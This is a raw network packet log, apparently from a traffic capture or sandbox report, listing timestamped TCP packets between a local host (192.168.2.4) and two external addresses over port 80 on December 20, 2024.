Dec 20, 2024 07:12:45.979737997 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.980586052 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.980700970 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.980748892 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.981601954 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.981689930 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.981731892 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.982669115 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.982796907 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.982836008 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.983633995 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.983777046 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.983827114 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.984663010 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.984795094 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.984841108 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.985680103 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.985783100 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.985841036 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.986696959 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.986857891 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.986912012 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.987719059 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.987859964 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.987910986 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.988743067 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.988873959 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.988919020 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.989761114 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.989876986 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.989924908 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.990771055 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.990947962 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.990994930 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.991797924 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.991916895 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.991964102 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.992810011 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.992949009 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.992995024 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.993856907 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.993906975 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.993952036 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.994138956 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.994195938 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.994288921 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.994334936 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.994879961 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.995049953 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.995095015 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.995374918 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.995424986 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.995428085 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.995465994 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.995878935 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.996041059 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.996100903 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.996897936 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.997016907 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.997061014 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.997739077 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.997790098 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.997849941 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.997904062 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.997932911 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.997971058 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.998013973 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.998938084 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.999059916 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.999106884 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.999957085 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.000073910 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.000119925 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.000127077 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.000161886 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.000174999 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.000199080 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.000981092 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.001101971 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.001147985 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.001997948 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.002218008 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.002264023 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.002440929 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.002489090 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.002561092 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.002605915 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.003015995 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.003094912 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.003142118 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.004031897 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.004165888 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.004204988 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.004770041 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.004817009 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.004822016 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.004859924 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.005060911 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.005170107 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.005212069 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.006098032 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.006215096 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.006261110 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.007013083 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.007060051 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.007128954 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.007163048 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.007174969 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.007196903 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.007237911 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.008124113 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.008203983 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.008270025 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.009138107 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.009265900 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.009299994 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.009309053 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.009334087 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.009341002 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.009371042 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.010180950 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.010358095 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.010401964 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.011140108 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.011447906 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.011507988 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.011548042 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.011593103 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.013592005 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.013653994 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.013711929 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.013751984 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.015775919 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.015825033 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.015907049 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.015961885 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.017807961 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.017870903 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.017915964 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.017959118 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.019920111 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.019965887 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.019973040 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.020023108 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.022412062 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.022458076 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.022464991 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.022502899 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.024043083 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.024092913 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.024141073 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.024183989 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.026165962 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.026211977 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.026223898 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.026248932 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.028228045 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.028278112 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.028285980 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.028321028 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.029994011 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.030050993 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.030136108 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.030186892 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.031954050 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.032002926 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.032068968 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.032114029 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.033889055 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.033951044 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.034003973 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.034037113 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.035818100 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.035866022 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.035937071 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.035984993 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.037759066 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.037807941 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.037810087 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.037852049 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.039683104 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.039736032 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.039788008 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.039834023 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.041604042 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.041652918 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.041726112 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.041773081 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.043569088 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.043631077 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.043684959 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.043737888 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.045555115 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.045603037 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.045608044 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.045650005 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.047422886 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.047470093 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.047518015 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.047564030 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.049369097 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.049415112 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.049422026 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.049465895 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.051305056 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.051357031 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.051422119 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.051470041 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.053232908 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.053275108 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.053344011 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.053389072 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.055181980 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.055233002 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.055244923 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.055319071 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.056586027 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.057085991 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.057136059 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.057204962 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.057255983 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.059056044 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.059101105 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.059135914 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.059180021 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.060954094 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.061001062 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.061079025 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.061125994 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.062891960 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.062952042 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.063030005 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.063077927 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.064834118 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.064879894 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.064948082 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.064992905 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.066745996 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.066802025 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.066853046 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.066898108 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.068691969 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.068742990 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.068809986 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.068859100 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.070626020 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.070697069 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.070935011 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.070981026 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.072583914 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.072643995 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.072715998 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.072765112 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.074527025 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.074585915 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.074619055 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.074662924 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.076433897 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.076484919 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.076565981 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.076612949 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.078362942 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.078414917 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.078483105 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.078535080 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.080303907 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.080353975 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.080437899 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.080481052 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.082225084 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.082271099 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.082336903 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.082385063 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.084192991 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.084244967 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.084290981 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.084347010 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.086127996 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.086174965 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.086250067 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.086293936 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.088032961 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.088083029 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.088136911 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.088187933 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.090038061 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.090095043 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.090151072 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.090205908 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.091959953 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.092006922 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.092015028 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.092056036 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.093857050 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.093905926 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.093988895 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.094033957 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.095787048 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.095835924 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.095935106 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.095978975 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.149559975 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.149590015 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.149635077 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.149840117 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.150010109 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.150059938 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.150846004 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.150974035 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.151015997 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.151891947 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.151943922 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.151987076 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.152944088 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.153095961 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.153145075 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.153928041 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.154093027 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.154136896 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.154959917 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.155095100 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.155174017 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.155967951 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.156079054 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.156119108 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.156971931 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.157123089 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.157171965 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.158015013 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.158127069 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.158166885 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.159037113 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.159149885 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.159204006 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.160054922 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.160105944 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.160156965 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.161067963 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.161185980 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.161221027 CET	49862	80	192.168.2.4	147.45.113.159
